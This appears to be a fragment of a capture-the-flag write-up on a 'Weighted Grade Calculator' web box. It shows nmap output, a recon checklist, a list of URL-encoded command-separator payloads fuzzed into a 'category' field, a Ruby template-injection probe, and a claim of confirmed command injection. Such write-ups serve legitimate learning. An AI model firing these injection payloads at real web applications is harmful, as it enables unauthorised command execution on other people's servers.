80/tcp open  http    syn-ack nginx
|_http-title: Weighted Grade Calculator
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

• Directory bruteforcing
• Vhost Bruteforcing
• Source Code
• Check /robots.txt
• Use the website

• WEBrick 1.7.0

After puzzing the “category” and wanting to question my existence, I got it to work with this payload list:

%3b
%0a
%26
%7c
%26%26
%7c%7c
%60%60
%24%28%29

Server-Side Template Injection (Ruby)

Payload (URL Encoded): <%= 10*10 %>

Confirmed Command Injection